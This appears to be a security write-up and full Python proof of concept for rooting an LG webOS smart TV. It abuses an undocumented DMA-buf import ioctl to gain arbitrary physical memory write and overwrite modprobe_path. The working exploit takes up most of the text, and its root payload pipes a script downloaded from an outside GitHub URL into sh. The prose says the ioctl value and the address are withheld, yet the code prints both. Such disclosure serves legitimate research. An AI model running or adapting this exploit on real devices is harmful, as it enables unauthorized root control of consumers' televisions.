- Product
- LG webOS Smart TV
- Affected
- 65NANO90UNA · webOS 5.6.2
Mechanism
The kernel direct map is linear (phys = virt - 0xa0000000, PAGE_OFFSET). An undocumented, unbounded import ioctl on the DMA-buf exporter wraps an attacker-supplied physical page in an mmap-able fd with no bounds or ownership check, so the physical page backing modprobe_path becomes writable. Overwriting it with an attacker script runs as root on the next unknown-binary exec.
How it went
1 · Foothold (prisoner). webOS Developer Mode gives an SSH shell as prisoner, an unprivileged, heavily sandboxed user. The firmware is hardened: USER_NS off, eBPF off, nosuid on every writable mount, AF_PACKET gated on CAP_NET_RAW, no FUSE, every known public root already patched. Enumerated all 237 device nodes for a memory primitive.
2 · Access (/dev/dma_buf_gm). prisoner is in the video group, which can open the DMA-buf exporter. Its documented ioctls only do a page-size query. Static analysis of the driver turned up an undocumented, unbounded import ioctl that takes an attacker-supplied physical address and page count. (Exact command value and struct layout withheld pre-patch.)
3 · Primitive (arbitrary physical R/W). The import path performs no bounds or ownership check on the physical address. It wraps any physical page in a fresh dma-buf fd; mmap() returns a read/write window into arbitrary kernel physical memory. The other memory device (rtkmem) only reaches CMA; this ioctl reaches everything.
4 · Priv-esc (modprobe_path). modprobe_path is a per-build constant, recovered offline from the firmware kernel image (kptr_restrict zeroes /proc/kallsyms for prisoner, so there is no runtime lookup). Reach its direct-map physical page, import and mmap it, confirm it reads /sbin/modprobe, then overwrite with the path to an attacker-controlled script. (Exact address withheld pre-patch.)
5 · Root. Execute a file with an unrecognized binary format. The kernel's module-request path runs modprobe_path as root, now pointed at the script, giving code execution as uid=0. The PoC then restores modprobe_path; clean, no persistence.
PoC
Requires developer mode enabled. Installs WebOsBrew.
#!/usr/bin/env python2
# python lg_poc.py --ip <tv-ip>
# - reads modprobe_path address from /proc/kallsyms
# - imports the kernel .data page via /dev/dma_buf_gm
# - verifies the mapping contains the expected string
# - overwrites modprobe_path with the payload path
# - triggers modprobe, waits for payload execution
# - restores modprobe_path
# - reports results
#
import fcntl, struct, os, sys, array, ctypes, time, random, json
libc = ctypes.CDLL(None, use_errno=True)
libc.mmap.restype = ctypes.c_ulong
libc.mmap.argtypes = [ctypes.c_ulong, ctypes.c_size_t, ctypes.c_int,
ctypes.c_int, ctypes.c_int, ctypes.c_long]
libc.munmap.argtypes = [ctypes.c_ulong, ctypes.c_size_t]
libc.memcpy.argtypes = [ctypes.c_ulong, ctypes.c_char_p, ctypes.c_size_t]
PAGE_OFFSET = 0xa0000000
DMA_BUF_DEVICE = "/dev/dma_buf_gm"
DMA_BUF_IMPORT_IOCTL = 0x800c4506
PROT_READ = 1
PROT_WRITE = 2
MAP_SHARED = 1
result = {"status": "unknown", "steps": []}
def step(name, ok, detail=""):
result["steps"].append({"name": name, "ok": ok, "detail": detail})
tag = "OK" if ok else "FAIL"
sys.stderr.write("[%s] %s%s\n" % (tag, name, (" -- " + detail) if detail else ""))
if not ok:
result["status"] = "failed"
sys.stdout.write(json.dumps(result) + "\n")
sys.exit(1)
if not os.path.exists(DMA_BUF_DEVICE):
step("check_device", False, "/dev/dma_buf_gm not found")
try:
test_fd = os.open(DMA_BUF_DEVICE, os.O_RDWR)
os.close(test_fd)
step("check_device", True)
except OSError as e:
step("check_device", False, str(e))
modprobe_virt = None
try:
with open("/proc/kallsyms") as f:
for line in f:
parts = line.strip().split()
if len(parts) >= 3 and parts[2] == "modprobe_path":
modprobe_virt = int(parts[0], 16)
break
except:
pass
if modprobe_virt is None or modprobe_virt == 0:
kver = os.uname()[2]
known = {
"4.4.84-612.40.jimna.1": 0xa141c320,
}
modprobe_virt = known.get(kver)
if modprobe_virt is None:
step("find_modprobe", False, "Cannot determine modprobe_path address for kernel " + kver)
step("find_modprobe", True, "fallback 0x%08x for %s" % (modprobe_virt, kver))
else:
step("find_modprobe", True, "0x%08x" % modprobe_virt)
modprobe_phys = modprobe_virt - PAGE_OFFSET
page_phys = modprobe_phys & 0xFFFFF000
page_off = modprobe_phys & 0xFFF
fd = os.open(DMA_BUF_DEVICE, os.O_RDWR)
imp = array.array("B", struct.pack("<III", page_phys, 1, 0))
try:
import_fd = fcntl.ioctl(fd, DMA_BUF_IMPORT_IOCTL, imp, True)
step("dma_import", True, "fd=%d phys=0x%08x" % (import_fd, page_phys))
except IOError as e:
step("dma_import", False, str(e))
ptr = libc.mmap(0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, import_fd, 0)
if ptr in (0, 0xFFFFFFFF):
step("mmap", False, "errno=%d" % ctypes.get_errno())
step("mmap", True, "0x%08x" % ptr)
current = ctypes.string_at(ptr + page_off, 15)
current_str = current[:current.find("\x00")] if "\x00" in current else current
if current_str != "/sbin/modprobe":
step("verify", False, "expected '/sbin/modprobe', got '%s'" % current_str)
step("verify", True, current_str)
payload_path = "/tmp/.ar_%d" % random.randint(10000, 99999)
result_path = "/tmp/.ar_result"
hbc_url = "https://raw.githubusercontent.com/webosbrew/webos-homebrew-channel/main/tools/install.sh"
payload = """#!/bin/sh
exec > %s 2>&1
echo "uid=$(id -u)"
curl -L "%s" 2>/dev/null | sh && echo "HBC_OK" || echo "HBC_FAIL"
echo "DONE"
""" % (result_path, hbc_url)
with open(payload_path, "w") as f:
f.write(payload)
os.chmod(payload_path, 0o755)
trigger_path = "/tmp/.ar_trig_%d" % random.randint(10000, 99999)
with open(trigger_path, "w") as f:
f.write("\xff\xff\xff\xff")
os.chmod(trigger_path, 0o755)
libc.memcpy(ptr + page_off, payload_path + "\x00", len(payload_path) + 1)
written = ctypes.string_at(ptr + page_off, len(payload_path) + 1)
if written != payload_path + "\x00":
# Restore immediately
libc.memcpy(ptr + page_off, "/sbin/modprobe\x00", 15)
step("overwrite", False, "write verification failed")
step("overwrite", True)
os.system(trigger_path + " 2>/dev/null; true")
time.sleep(8)
libc.memcpy(ptr + page_off, "/sbin/modprobe\x00", 15)
restored = ctypes.string_at(ptr + page_off, 15)
if "/sbin/modprobe" not in restored:
step("restore", False)
step("restore", True)
libc.munmap(ptr, 4096)
os.close(import_fd)
os.close(fd)
try: os.unlink(trigger_path)
except: pass
try: os.unlink(payload_path)
except: pass
if os.path.exists(result_path):
with open(result_path) as f:
payload_output = f.read()
try: os.unlink(result_path)
except: pass
if "uid=0" in payload_output:
step("root_exec", True)
else:
step("root_exec", False, "payload ran but not as root")
if "HBC_OK" in payload_output:
step("hbc_install", True)
elif "HBC_FAIL" in payload_output:
step("hbc_install", False, "HBC install script failed")
else:
step("hbc_install", False, "HBC status unknown")
else:
step("root_exec", False, "payload did not execute")
result["status"] = "success"
sys.stdout.write(json.dumps(result) + "\n")What didn't work
rtkmemprovides RW mmap, but CMA regions only; kernel.datasits in an inaccessible physical gap.- Mali
/dev/mali0:MEM_ALLOCreturned ENOMEM (a struct-layout bug, not a security gate). - Remote root: no unauthenticated path; the chain needs the local Developer-Mode foothold.